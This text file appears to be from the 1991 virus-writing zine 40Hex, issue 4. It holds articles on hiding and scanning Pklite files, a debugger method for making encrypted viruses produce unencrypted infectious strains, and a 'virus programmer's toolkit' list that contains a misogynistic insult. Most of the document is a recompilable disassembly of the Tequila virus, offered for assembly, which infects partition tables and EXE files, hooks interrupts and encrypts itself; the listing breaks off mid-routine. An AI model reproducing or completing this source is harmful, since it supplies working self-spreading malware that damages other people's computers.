e 0460  D2 DB C5 5A 11 A3 E2 7B D2 C9 C5 93 15 28 CD DB
e 0470  B1 E0 61 79 D2 E3 C5 71 6B 9C 7A 91 15 28 B7 BC
e 0480  55 29 F7 09 48 2E 63 61 D9 2A D1 C4 8E 16 F7 09
e 0490  F9 02 14 6B 75 65 3A 02 14 02 3A 06 14 28 3B 28
e 04A0  A2 3F 36 9E 1A 2D 3A 28 D1 71 AA 7C 33 E5 1A B8
e 04B0  D3 49 3A A0 12 12 3A 7E 3B 99 24 1A FA E7 B4 2E
rcx
03C0
w
q
-------------------------------------------------------------------------------




40Hex Issue 4                                            December 1991

                      Hacked Pklite File Scanning
                      ---------------------------

   In issue two, i belive it was.  I release a method of making Pklite
   files un-uncompressable and un-detectable.  Well seems a few people
   used the trick for wrong doing.  What do I mean by wrong doing you
   ask?  Well lets just say lame trojans and such.

   Anyway, I had a few sysops on my ass about the trick and so, so now I
   am must release.... The hacked Pklite scanning strings.   Well I
   could really give a fuck if someones BBS gets crashed, but then again
   I am freinds with a lot of sysops.  And besides I have a new trick
   anyway :)

   Well there are two strings.  One for .EXE files and one for .COM
   files.  And here they are.

-----------------------------------------------------------------------

   "01 F0 FF 50 00 00 00 03 01" Pklite EXE
   "53 33 DB 53 CB 03 01"       Pklite COM

------------------------------------------------------------------------

What's my new trick???  Well I won't reveal it at this point... But here
is a another compression trick.  It lets you compress a file with Pklite
then again with LZExe.

First
-----

Compress the file with Pklite

Next
----

Compress the file with LZExe

It wont let you cause the file becomes bigger...

But
---

Use the DOS Undelete function to undelete the file ?zexe.tmp.  Thats the
twice compressed file.  Rename it to what you want.  Destroy the LZ
header... And there you have it...
40Hex Issue 4                                            December 1991

             A Further Look Into Cracking Encrypted Virues
             ---------------------------------------------


    In Censor #1, Rabids' Data Disruptor showed a way to decrypt
    encrypted viruses.  The only problem with the method shown is that
    once you decrypt the virus, it cannot be run without modification.
    I wish to take his theory a little farther, with a different
    approch.

    There is a really simple way around the problem.  What you will
    need is a debugger.  I perfer Turbo Debugger, by Borland.  However
    if you are good at the DOS utility Debug, you may be able to follow
    along.

    The routine to unencrypt is simple, really simple.  What you will
    need to do is make a small target file for the virus to infect.  A
    100 byte of less file is perfered.

    Step One
    --------

    Copy the target file to a different filename to make two copies of
    the file.  Example - COPY TARGET.COM DUDE.COM

    Step Two
    --------

    Infect one of the files, however the virus infectes the file.
    Remember just infect one of the files.

    Step Three
    ----------

    Load up you dubugger (I'm gonna give Turbo Debugger steps, so people
    with Debug and the Microsoft Debugger will have to improvise) and
    get ready to single step through the virus.

    Step Four
    ---------

    Start single stepping through the virus.  If the virus is encrypted
    you will hit a loop somwhere near the beginning of the code.   In
    most cases this is an XOR loop.  It will look something like this...

    add si, [1234]    ;
    mov di, si        ;
    mov cx, 0123      ; this would be the virus size to unencrypt
 *  mov al, [0105]    ; this is the encryption value's offset or the
                      ; actual encryption value if no brackets are
                      ; around it
    cli               ; auto increment
    lodsb             ; load byte from si position
    xor ah, al        ; xor byte at si
    stosb             ; store it a di (same as si)
    loop 0110         ; loop until cx=0 NOTE: 0110 will be an offset
    ret               ; return when done

    Where the "*" is, will be either the location of the encryption
    value, or the actual encryption value if no brackets are around it.
    If there are no brackets, keep that number in mind.  Otherwise write
    the offset down.

    Step Five
    ---------

    When the encryption procedure is done the virus is then unencrypted.
    If you were to write the virus to disk now, it would not run.  Cause
    as soon as the virus runs it encrypts itself and then jumps into the
    encrypted code.

    Follow the program to the part where the virus is about to write the
    virus to the host program.  It will again call on the encryption
    routine.

  * Here it is again, but this time, before it XORs anything load the
    encryption value with 0's.  If it is a bytes value load it with 00,
    if it is a word value load it with 0000 as in...


    add si, [1234]    ;
    mov di, si        ;
    mov cx, 0123      ; this would be the virus size to unencrypt
  * mov al, 00        ; change the encryption value to zero, thus the
                      ; encryption will not take place at all.  Instead
                      ; the virus will produce an original strain.
    cli               ; auto increment
    lodsb             ; load byte from si position
    xor ah, al        ; xor byte at si
    stosb             ; store it a di (same as si)
    loop 0110         ; loop until cx=0 NOTE: 0110 will be an offset
    ret               ; return when done

    Now run the program at full speed.  The next file the virus infects
    will be unencrypted, and executable.

    NOTE: This method will work only for the types of viruses that use
    this type of encryption.  Mainly non-resident .COM and .EXE
    infectors.  In other words, don't go thinking this trick will work
    on Whale or anything.




40Hex Issue 4                                            December 1991

                 The Ultimate Virus Programmers Toolkit
                 --------------------------------------

    Just thought it would be funny to list what I think is the ulitmate
    virus programmers toolkit.  Theroys may vary.

    - Turbo Assembler (MASM sucks, and it is slow)
    - Turbo Debugger (It rules, what else can I say?)
    - Quick Edit (Small, Fast and Turbo-like keys)
    - Sourcer 486 (The ONLY real dissembler out)
    - Virus Scan by McAffe Asst. (It really is a great tool)
    - VSUM (Patti Hoffman is a stupid bitch, but I must admit, this
            program is the virus underground bible)
    - VSAFE from Central Point Anti-Virus (Not as annoying as Flu-Shot)
    - Pklite Proffesional (If you don't have it - get it)
    - Norton 6.0 (Diskedit alone is worth the d/l time)
    - Pc-Backup by Central Point (we all fuck up sooner or later)
    - MEMWALK.EXE (great shareware program, like diskedit for memory)
    - Teledisk (for boot block virus saves)
    - Trunc - by Skism Programming (Electronic file shredder)
    - Microsoft Press Quick Reference Series
               - DOS Functions  (INT 20 - 26)
               - ROM and BIOS functions (INT 10, 15 - 16)
               - MS DOS extentions (Expaned, extended memory interupts)
    - _Undocumented DOS_ or any current text file on the subject-
    - 40HEX magazine (Well I do have good stuff here, sometimes)
    - Dark Angel's Phunky Virus writing guide (pretty hard to come by.
                                               He expalins stuff well)
    - The following source code
               - Leprosy-B (beginers only on this one, none-the-less)
               - Cancer (well documented, intermediate)
               - Tiny-F (not bad intro to .COM infections)
               - Dark Avenger (well availible and excellent tips on .EXE
                               infection)
               - Stoned II (boot block intro)
               - Secure 2.0 (I got the source to this.  It is a virus
                             detection system from the guy who wrote
                             1260, Mark Washburn.  The source has some
                             great examples on debug trapping, TSR
                             skills, and encryption)
               - IBM Scan source (I have this too, it's funny... Kinda
                                  like McAfee's SCAN but lamer.  By
                                  David Chess)
    - An account on the Bulgerian Virus Exchange [phone]
    - An account on a BBS with Fido-Nets' virus echo (keep track of your
                                                     latest score)
    - Many accounts on the Homebase BBS [phone] 2400 bps
                                        [phone] HST 9600
                                        [phone] v32 9600
      (Tell Areyh I sent ya')
    - Scientific Calculator (Hex aint easy)
    - Vivaren (Helps you break night, or any other controlled substance)
    - Food, smokes, or whatever your vice is...


    That'll do it...
40Hex Issue 4                                            December 1991

                       The Tequila Virus Source
                       -------------------------

    Nuff' said.

-------------------------------------------------------------------------------
                   ;=============================
                   ;      the tequila virus     =
                   ;        a recompilable      =
                   ;         dis-assembly       =
                   ;    specifically designed   =
                   ; for assembly to a COM file =
                   ;  with the A86 assembler.   =
                   ;     ++++++++++++++++++     =
                   ; If you desire a "perfect"  =
                   ; byte for byte source code  =
                   ;match-up, the MASM assembler=
                   ; must be used and the noted =
                   ;instructions must be changed=
                   ; to comply with MASM syntax.=
                   ; In addition, all byte and  =
                   ;word pointer references must=
                   ; be changed from B and W to =
                   ;   BYTE POINTER and WORD    =
                   ;          POINTER.          =
                   ;=============================


CODE_SEG   SEGMENT
ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
ORG 0100
TEQUILA PROC NEAR

JMP START

  DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH

  DB 00DH, 00AH, 00DH, 00AH
  DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  DB "Switzerland.", 00DH, 00AH
  DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  DB "$"

  DB "Execute: mov ax, FE03 / int 21. Key to go on!"


PROGRAM_TERMINATION_ROUTINE:
   PUSH BP
   MOV BP,SP
   SUB SP,0CH
   PUSH AX
   PUSH BX
   PUSH CX
   PUSH DX
   PUSH SI
   PUSH DI
   PUSH ES
   PUSH DS
   PUSH CS
   POP DS
   MOV AX,W[6]
   INC AX
   JE 0243H           ;Masm Mod. Needed
   DEC AX
   JNE 020DH           ;Masm Mod. Needed
   DEC W[8]           ;Masm Mod. Needed
   JNE 0243H           ;Masm Mod. Needed
   JMP 0246H           ;Masm Mod. Needed
   MOV AH,02AH
   CALL INT_21
   MOV SI,CX
   MOV CX,W[8]
   CMP CL,DL
   JNE 022FH           ;Masm Mod. Needed
   MOV AX,SI
   SUB AX,W[6]
   MUL B[011H]           ;Masm Mod. Needed
   ADD AL,DH
   ADD CH,3
   CMP AL,CH
   JAE 0237H           ;Masm Mod. Needed
   MOV W[6],0FFFFH           ;Masm Mod. Needed
   JMP 0243H           ;Masm Mod. Needed
   MOV W[6],0           ;Masm Mod. Needed
   MOV W[8],3           ;Masm Mod. Needed
   JMP 02DF           ;Masm Mod. Needed
   MOV BX,0B800H
   INT 011
   AND AX,030H
   CMP AX,030H
   JNE 0256H           ;Masm Mod. Needed
   MOV BX,0B000H
   MOV ES,BX
   XOR BX,BX
   MOV DI,0FD8FH
   MOV SI,0FC18H
   MOV W[BP-2],SI
   MOV W[BP-4],DI
   MOV CX,01E
   MOV AX,W[BP-2]
   IMUL AX
   MOV W[BP-8],AX
   MOV W[BP-6],DX
   MOV AX,W[BP-4]
   IMUL AX
   MOV W[BP-0C],AX
   MOV W[BP-0A],DX
   ADD AX,W[BP-8]
   ADC DX,W[BP-6]
   CMP DX,0F
   JAE 02B0           ;Masm Mod. Needed
   MOV AX,W[BP-2]
   IMUL W[BP-4]
   IDIV W[0F]           ;Masm Mod. Needed
   ADD AX,DI
   MOV W[BP-4],AX
   MOV AX,W[BP-8]
   MOV DX,W[BP-6]
   SUB AX,W[BP-0C]
   SBB DX,W[BP-0A]
   IDIV W[0D]           ;Masm Mod. Needed
   ADD AX,SI
   MOV W[BP-2],AX
   LOOP 0269           ;Masm Mod. Needed
   INC CX
   SHR CL,1
   MOV CH,CL
   MOV CL,0DB
   ES MOV W[BX],CX           ;Masm Mod. Needed
   INC BX
   INC BX
   ADD SI,012
   CMP SI,01B8
   JL 0260           ;Masm Mod. Needed
   ADD DI,034
   CMP DI,02A3
   JL 025D           ;Masm Mod. Needed
   XOR DI,DI
   MOV SI,0BB
   MOV CX,02D
   CLD
   MOVSB
   INC DI
   LOOP 02D7           ;Masm Mod. Needed
   XOR AX,AX
   INT 016
   POP DS
   POP ES
   POP DI
   POP SI
   POP DX
   POP CX
   POP BX
   POP AX
   MOV SP,BP
   POP BP
   RET

PRINT_MESSAGE:
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS
   MOV AH,9
   MOV DX,012
   CALL INT_21
   POP DS
   POP DX
   RET

NEW_PARTITION_TABLE:
   CLI
   XOR BX,BX
   MOV DS,BX
   MOV SS,BX
   MOV SP,07C00
   STI
   XOR DI,DI
   SUB W[0413],3           ;Masm Mod. Needed
   INT 012
   MOV CL,6
   SHL AX,CL
   MOV ES,AX
   PUSH ES
   MOV AX,022A
   PUSH AX
   MOV AX,0205
   MOV CX,W[07C30]
   INC CX
   MOV DX,W[07C32]
   INT 013
   RETF

DB 002, 0FE
DB 04C, 0E9
DB 080, 004

   PUSH CS
   POP DS
   XOR AX,AX
   MOV ES,AX
   MOV BX,07C00
   PUSH ES
   PUSH BX
   MOV AX,0201
   MOV CX,W[0226]
   MOV DX,W[0228]
   INT 013
   PUSH CS
   POP ES
   CLD
   MOV SI,0409
   MOV DI,09BE
   MOV CX,046
   REP MOVSB
   MOV SI,091B
   MOV DI,0A04
   MOV CX,045
   REP MOVSB
   CLI
   XOR AX,AX
   MOV ES,AX
   ES LES BX,[070]           ;Masm Mod. Needed
   MOV W[09B0],BX           ;Masm Mod. Needed
   MOV W[09B2],ES           ;Masm Mod. Needed
   MOV ES,AX
   ES LES BX,[084]           ;Masm Mod. Needed
   MOV W[09B4],BX           ;Masm Mod. Needed
   MOV W[09B6],ES           ;Masm Mod. Needed
   MOV ES,AX
   ES MOV W[070],044F           ;Masm Mod. Needed
   ES MOV W[072],DS           ;Masm Mod. Needed
   STI
   RETF

INSTALL:
   CALL NEXT_LINE
 NEXT_LINE:
   POP SI
   SUB SI,028F
   PUSH SI
   PUSH AX
   PUSH ES
   PUSH CS
   POP DS
   MOV AX,ES
   ADD W[SI+2],AX
   ADD W[SI+4],AX
   DEC AX
   MOV ES,AX
   MOV AX,0FE02
   INT 021
   CMP AX,01FD
   JE NO_PARTITION_INFECTION
   ES CMP B[0],05A           ;Masm Mod. Needed
   JNE NO_PARTITION_INFECTION
   ES CMP W[3],0BB           ;Masm Mod. Needed
   JBE NO_PARTITION_INFECTION
   ES MOV AX,W[012]           ;Masm Mod. Needed
   SUB AX,0BB
   MOV ES,AX
   XOR DI,DI
   MOV CX,09A4
   CLD
   REP MOVSB
   PUSH ES
   POP DS
   CALL INFECT_PARTITION_TABLE
 NO_PARTITION_INFECTION:
   POP ES
   POP AX
   PUSH ES
   POP DS
   POP SI
   CS MOV SS,W[SI+4]           ;Masm Mod. Needed
 CHAIN_TO_THE_HOST_FILE:
   CS JMP D[SI]           ;Masm Mod. Needed

INFECT_PARTITION_TABLE:
   MOV AH,02A
   INT 021
   MOV W[6],CX           ;Masm Mod. Needed
   MOV W[8],DX           ;Masm Mod. Needed
   MOV AH,052
   INT 021
   ES MOV AX,W[BX-2]           ;Masm Mod. Needed
   MOV W[03E8],AX           ;Masm Mod. Needed
   MOV AX,03513
   INT 021
   MOV W[09A0],BX           ;Masm Mod. Needed
   MOV W[09A2],ES           ;Masm Mod. Needed
   MOV AX,03501
   INT 021
   MOV SI,BX
   MOV DI,ES
   MOV AX,02501
   MOV DX,03DA
   INT 021
   MOV B[0A],0           ;Masm Mod. Needed
   PUSHF
   POP AX
   OR AX,0100
   PUSH AX
   POPF
   MOV AX,0201
   MOV BX,09A4
   MOV CX,1
   MOV DX,080
   PUSH DS
   POP ES
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   PUSHF
   POP AX
   AND AX,0FEFF
   PUSH AX
   POPF
   PUSHF
   MOV AX,02501
   MOV DX,SI
   MOV DS,DI
   INT 021
   POPF
   JAE 0450           ;Masm Mod. Needed
   JMP RET           ;Masm Mod. Needed
   PUSH ES
   POP DS
   CMP W[BX+02E],0FE02
   JNE 045C           ;Masm Mod. Needed
   JMP RET           ;Masm Mod. Needed
   ADD BX,01BE
   MOV CX,4
   MOV AL,B[BX+4]
   CMP AL,4
   JE 0479           ;Masm Mod. Needed
   CMP AL,6
   JE 0479           ;Masm Mod. Needed
   CMP AL,1
   JE 0479           ;Masm Mod. Needed
   ADD BX,010
   LOOP 0463           ;Masm Mod. Needed
   JMP SHORT RET           ;Masm Mod. Needed
   MOV DL,080
   MOV DH,B[BX+5]
   MOV W[0228],DX           ;Masm Mod. Needed
   MOV AX,W[BX+6]
   MOV CX,AX
   MOV SI,6
   AND AX,03F
   CMP AX,SI
   JBE RET           ;Masm Mod. Needed
   SUB CX,SI
   MOV DI,BX
   INC CX
   MOV W[0226],CX           ;Masm Mod. Needed
   MOV AX,0301
   MOV BX,09A4
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   DEC CX
   MOV W[DI+6],CX
   INC CX
   SUB W[DI+0C],SI
   SBB W[DI+0E],0
   MOV AX,0305
   MOV BX,0
   INC CX
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   MOV SI,01F6
   MOV DI,09A4
   MOV CX,034
   CLD
   REP MOVSB
   MOV AX,0301
   MOV BX,09A4
   MOV CX,1
   XOR DH,DH
   PUSHF
   CALL D[09A0]           ;Masm Mod. Needed
   RET

NEW_INTERRUPT_ONE:
   PUSH BP
   MOV BP,SP
   CS CMP B[0A],1           ;Masm Mod. Needed
   JE 0506           ;Masm Mod. Needed
   CMP W[BP+4],09B4
   JA 050B           ;Masm Mod. Needed
   PUSH AX
   PUSH ES
   LES AX,[BP+2]
   CS MOV W[09A0],AX           ;Masm Mod. Needed
   CS MOV W[09A2],ES           ;Masm Mod. Needed
   CS MOV B[0A],1
   POP ES
   POP AX
   AND W[BP+6],0FEFF
   POP BP
   IRET

NEW_INTERRUPT_13:
   CMP CX,1
   JNE 054E           ;Masm Mod. Needed
   CMP DX,080
   JNE 054E           ;Masm Mod. Needed
   CMP AH,3
   JA 054E           ;Masm Mod. Needed
   CMP AH,2
   JB 054E           ;Masm Mod. Needed
   PUSH CX
   PUSH DX
   DEC AL
   JE 0537           ;Masm Mod. Needed
   PUSH AX
   PUSH BX
   ADD BX,0200
   INC CX
   PUSHF
   CS CALL D[09A0]           ;Masm Mod. Needed
   POP BX
   POP AX
   MOV AL,1
   CS MOV CX,W[0226]           ;Masm Mod. Needed
   CS MOV DX,W[0228]           ;Masm Mod. Needed
   PUSHF
   CS CALL D[09A0]           ;Masm Mod. Needed
   POP DX
   POP CX
   RETF 2
   CS JMP D[09A0]           ;Masm Mod. Needed

NEW_TIMER_TICK_INTERRUPT:
   PUSH AX
   PUSH BX
   PUSH ES
   PUSH DS
   XOR AX,AX
   MOV ES,AX
   PUSH CS
   POP DS
   ES LES BX,[084]           ;Masm Mod. Needed
   MOV AX,ES
   CMP AX,0800
   JA 05B0           ;Masm Mod. Needed
   CMP AX,W[09B6]
   JNE 0575           ;Masm Mod. Needed
   CMP BX,W[09B4]
   JE 05B0           ;Masm Mod. Needed
   MOV W[09B4],BX           ;Masm Mod. Needed
   MOV W[09B6],ES           ;Masm Mod. Needed
   XOR AX,AX
   MOV DS,AX
   CS LES BX,[09B0]           ;Masm Mod. Needed
   MOV W[070],BX           ;Masm Mod. Needed
   MOV W[072],ES           ;Masm Mod. Needed
   LES BX,[04C]           ;Masm Mod. Needed
   CS MOV W[09A0],BX           ;Masm Mod. Needed
   CS MOV W[09A2],ES           ;Masm Mod. Needed
   MOV W[04C],09BE           ;Masm Mod. Needed
   MOV W[04E],CS           ;Masm Mod. Needed
   MOV W[084],04B1           ;Masm Mod. Needed
   MOV W[086],CS           ;Masm Mod. Needed
   POP DS
   POP ES
   POP BX
   POP AX
   IRET

INT_21_INTERCEPT:
   CMP AH,011
   JB CHECK_FOR_HANDLE
   CMP AH,012
   JA CHECK_FOR_HANDLE
   CALL ADJUST_FCB_MATCHES
   RETF 2
 CHECK_FOR_HANDLE:
   CMP AH,04E
   JB CHECK_FOR_PREVIOUS_INSTALLATION
   CMP AH,04F
   JA CHECK_FOR_PREVIOUS_INSTALLATION
   CALL ADJUST_HANDLE_MATCHES
   RETF 2
 CHECK_FOR_PREVIOUS_INSTALLATION:
   CMP AX,0FE02
   JNE CHECK_FOR_MESSAGE_PRINT
   NOT AX
   IRET
 CHECK_FOR_MESSAGE_PRINT:
   CMP AX,0FE03
   JNE CHECK_FOR_EXECUTE
   CS CMP W[6],0           ;Masm Mod. Needed
   JNE CHAIN_TO_TRUE_INT_21
   CALL PRINT_MESSAGE
   IRET
 CHECK_FOR_EXECUTE:
   CMP AX,04B00
   JE SET_STACK
   CMP AH,04C
   JNE CHAIN_TO_TRUE_INT_21
 SET_STACK:
   CS MOV W[09A6],SP           ;Masm Mod. Needed
   CS MOV W[09A8],SS           ;Masm Mod. Needed
   CLI
   PUSH CS
   POP SS
   MOV SP,0AE5
   STI
   CMP AH,04C
   JNE TO_AN_INFECTION
   CALL PROGRAM_TERMINATION_ROUTINE
   JMP SHORT NO_INFECTION
 TO_AN_INFECTION:
   CALL INFECT_THE_FILE
 NO_INFECTION:
   CLI
   CS MOV SS,W[09A8]           ;Masm Mod. Needed
   CS MOV SP,W[09A6]           ;Masm Mod. Needed
   STI
   JMP SHORT CHAIN_TO_TRUE_INT_21
 CHAIN_TO_TRUE_INT_21:
   CS INC W[09BC]           ;Masm Mod. Needed
   CS JMP D[09B4]           ;Masm Mod. Needed

NEW_CRITICAL_ERROR_HANDLER:
   MOV AL,3
   IRET

ADJUST_FCB_MATCHES:
   PUSH BX
   PUSH ES
   PUSH AX
   MOV AH,02F
   CALL INT_21
   POP AX
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   PUSHF
   PUSH AX
   CMP AL,0FF
   JE 0664           ;Masm Mod. Needed
   ES CMP B[BX],0FF           ;Masm Mod. Needed
   JNE 064F           ;Masm Mod. Needed
   ADD BX,7
   ES MOV AL,B[BX+017]           ;Masm Mod. Needed
   AND AL,01F
   CMP AL,01F
   JNE 0664           ;Masm Mod. Needed
   ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
   ES SBB W[BX+01F],0           ;Masm Mod. Needed
   POP AX
   POPF
   POP ES
   POP BX
   RET

ADJUST_HANDLE_MATCHES:
   PUSH BX
   PUSH ES
   PUSH AX
   MOV AH,02F
   CALL INT_21
   POP AX
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   PUSHF
   PUSH AX
   JB 0691           ;Masm Mod. Needed
   ES MOV AL,B[BX+016]           ;Masm Mod. Needed
   AND AL,01F
   CMP AL,01F
   JNE 0691           ;Masm Mod. Needed
   ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
   ES SBB W[BX+01C],0           ;Masm Mod. Needed
   POP AX
   POPF
   POP ES
   POP BX
   RET

WRITE_TO_THE_FILE:
   MOV AH,040
   JMP 069C           ;Masm Mod. Needed

READ_FROM_THE_FILE:
   MOV AH,03F
   CALL 06B4           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   SUB AX,CX
   RET

MOVE_TO_END_OF_FILE:
   XOR CX,CX
   XOR DX,DX
   MOV AX,04202
   JMP 06B4           ;Masm Mod. Needed

MOVE_TO_BEGINNING_OF_FILE:
   XOR CX,CX
   XOR DX,DX
   MOV AX,04200
   CS MOV BX,W[09A4]           ;Masm Mod. Needed

INT_21:
   CLI
   PUSHF
   CS CALL D[09B4]           ;Masm Mod. Needed
   RET

INFECT_THE_FILE:
   PUSH AX
   PUSH BX
   PUSH CX
   PUSH DX
   PUSH SI
   PUSH DI
   PUSH ES
   PUSH DS
   CALL CHECK_LETTERS_IN_FILENAME
   JAE GOOD_NAME
   JMP BAD_NAME

GOOD_NAME:
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS

SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
   MOV AX,03524
   CALL INT_21
   MOV W[09B8],BX           ;Masm Mod. Needed
   MOV W[09BA],ES           ;Masm Mod. Needed
   MOV AX,02524
   MOV DX,052A
   CALL INT_21
   POP DS
   POP DX

SAVE_AND_REPLACE_FILE_ATTRIBUTE:
   MOV AX,04300
   CALL INT_21
   CS MOV W[09AA],CX           ;Masm Mod. Needed
   JAE 06FE           ;Masm Mod. Needed
   JMP RESTORE_CRIT_HANDLER
   MOV AX,04301
   XOR CX,CX
   CALL INT_21
   JB 077C           ;Masm Mod. Needed

OPEN_FILE_FOR_READ_WRITE:
   MOV AX,03D02
   CALL INT_21
   JB 0771           ;Masm Mod. Needed
   PUSH DX
   PUSH DS
   PUSH CS
   POP DS
   MOV W[09A4],AX           ;Masm Mod. Needed

GET_FILEDATE:
   MOV AX,05700
   CALL 06B4           ;Masm Mod. Needed
   JB 075C           ;Masm Mod. Needed
   MOV W[09AC],DX           ;Masm Mod. Needed
   MOV W[09AE],CX           ;Masm Mod. Needed

READ_AND_CHECK_EXE_HEADER:
   CALL 06AD           ;Masm Mod. Needed
   MOV DX,0A49
   MOV CX,01C
   CALL 069A           ;Masm Mod. Needed
   JB 075C           ;Masm Mod. Needed
   PUSH DS
   POP ES
   MOV DI,0E8
   MOV CX,020
   CMP W[0A49],05A4D           ;Masm Mod. Needed
   JNE 075C           ;Masm Mod. Needed
   MOV AX,W[0A5B]
   CLD
   REPNE SCASW
   JNE 0754           ;Masm Mod. Needed
   OR W[09AE],01F           ;Masm Mod. Needed
   JMP 075C           ;Masm Mod. Needed
   CALL READ_PAST_END_OF_FILE
   JB 075C           ;Masm Mod. Needed
   CALL ENCRYPT_AND_WRITE_TO_FILE

RESTORE_ALTERED_DATE:
   MOV AX,05701
   MOV DX,W[09AC]
   MOV CX,W[09AE]
   CALL 06B4           ;Masm Mod. Needed

CLOSE_THE_FILE:
   MOV AH,03E
   CALL 06B4           ;Masm Mod. Needed

RESTORE_FILE_ATTRIBUTE:
   POP DS
   POP DX
   MOV AX,04301
   CS MOV CX,W[09AA]           ;Masm Mod. Needed
   CALL INT_21

RESTORE_CRIT_HANDLER:
   MOV AX,02524
   CS LDS DX,[09B8]           ;Masm Mod. Needed
   CALL INT_21

BAD_NAME:
   POP DS
   POP ES
   POP DI
   POP SI
   POP DX
   POP CX
   POP BX
   POP AX
   RET

CHECK_LETTERS_IN_FILENAME:
   PUSH DS
   POP ES
   MOV DI,DX
   MOV CX,-1
   XOR AL,AL
   CLD
   REPNE SCASB
   NOT CX
   MOV DI,DX
   MOV AX,04353
   MOV SI,CX
   SCASW
   JE 07B7           ;Masm Mod. Needed
   DEC DI
   LOOP 07A5           ;Masm Mod. Needed
   MOV CX,SI
   MOV DI,DX
   MOV AL,056
   REPNE SCASB
   JE 07B7           ;Masm Mod. Needed
   CLC
   RET
   STC
   RET

READ_PAST_END_OF_FILE:
   MOV CX,-1
   MOV DX,-0A
   CALL 06A8           ;Masm Mod. Needed
   MOV DX,0A65
   MOV CX,8
   CALL 069A           ;Masm Mod. Needed
   JB RET           ;Masm Mod. Needed
   CMP W[0A65],0FDF0           ;Masm Mod. Needed
   JNE 07F0           ;Masm Mod. Needed
   CMP W[0A67],0AAC5           ;Masm Mod. Needed
   JNE 07F0           ;Masm Mod. Needed
   MOV CX,-1
   MOV DX,-9
   CALL 06A8           ;Masm Mod. Needed
   MOV DX,0A6B
   MOV CX,4
   CALL 0696           ;Masm Mod. Needed
   RET
   CLC
   RET

ENCRYPT_AND_WRITE_TO_FILE:
   CALL MOVE_TO_END_OF_FILE
   MOV SI,AX
   MOV DI,DX
   MOV BX,0A49
   MOV AX,W[BX+4]
   MUL W[0D]           ;Masm Mod. Needed
   SUB AX,SI
   SBB DX,DI
   JAE 080C           ;Masm Mod. Needed
   JMP OUT_OF_ENCRYPT
   MOV AX,W[BX+8]
   MUL W[0B]           ;Masm Mod. Needed
   SUB SI,AX
   SBB DI,DX
   MOV AX,W[BX+0E]
   MOV W[4],AX           ;Masm Mod. Needed
   ADD W[4],010           ;Masm Mod. Needed
   MUL W[0B]           ;Masm Mod. Needed
   ADD AX,W[BX+010]
   SUB AX,SI
   SBB DX,DI
   JB 083C           ;Masm Mod. Needed
   SUB AX,080
   SBB DX,0
   JB RET           ;Masm Mod. Needed
   ADD W[BX+0E],09B
   MOV AX,W[BX+016]
   ADD AX,010
   MOV W[2],AX           ;Masm Mod. Needed
   MOV AX,W[BX+014]
   MOV W[0],AX           ;Masm Mod. Needed
   CALL 06A4           ;Masm Mod. Needed
   ADD AX,09A4
   ADC DX,0
   DIV W[0D]           ;Masm Mod. Needed
   INC AX
   MOV W[0A4D],AX           ;Masm Mod. Needed
   MOV W[0A4B],DX           ;Masm Mod. Needed
   MOV DX,DI
   MOV AX,SI
   DIV W[0B]           ;Masm Mod. Needed
   MOV W[0A5F],AX           ;Masm Mod. Needed
   MOV BX,DX
   ADD DX,0960
   MOV W[0A5D],DX           ;Masm Mod. Needed
   CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
   JB RET           ;Masm Mod. Needed
   OR W[09AE],01F           ;Masm Mod. Needed
   MOV BX,W[09BC]
   AND BX,01F
   SHL BX,1
   MOV AX,W[BX+0E8]
   MOV W[0A5B],AX           ;Masm Mod. Needed
   CALL MOVE_TO_BEGINNING_OF_FILE
   MOV CX,01C
   MOV DX,0A49

WRITE_THE_NEW_HEADER:
   CALL 0696           ;Masm Mod. Needed
 OUT_OF_ENCRYPT:
   RET

COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
   PUSH BP
   XOR AH,AH
   INT 01A
   MOV AX,DX
   MOV BP,DX
   PUSH DS
   POP ES
   MOV DI,0960
   MOV SI,DI
   MOV CX,020
   CLD
   REP STOSW
   XOR DX,DX
   MOV ES,DX
   CALL ENCRYPT_STEP_ONE
   CALL ENCRYPT_STEP_TWO
   CALL ENCRYPT_STEP_THREE
   MOV B[SI],0E9
   MOV DI,028C
   SUB DI,SI
   SUB DI,3
   INC SI
   MOV W[SI],DI
   MOV AX,0A04
   CALL AX
   POP BP
   RET

ENCRYPT_STEP_ONE:
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JNE 08EB           ;Masm Mod. Needed
   MOV B[SI],0E
   INC SI
   CALL GARBLER
   MOV B[SI],01F
   INC SI
   CALL GARBLER
   RET
   MOV W[SI],0CB8C
   INC SI
   INC SI
   CALL GARBLER
   MOV W[SI],0DB8E
   INC SI
   INC SI
   CALL GARBLER
   RET

ENCRYPT_STEP_TWO:
   AND CH,0FE
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0920           ;Masm Mod. Needed
   OR CH,1
   MOV B[SI],0BE
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 0934           ;Masm Mod. Needed
   MOV B[SI],0BB
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 090C           ;Masm Mod. Needed
   SUB BX,0960
   CALL GARBLER
   MOV B[SI],0B9
   INC SI
   MOV AX,0960
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   CALL GARBLER
   RET

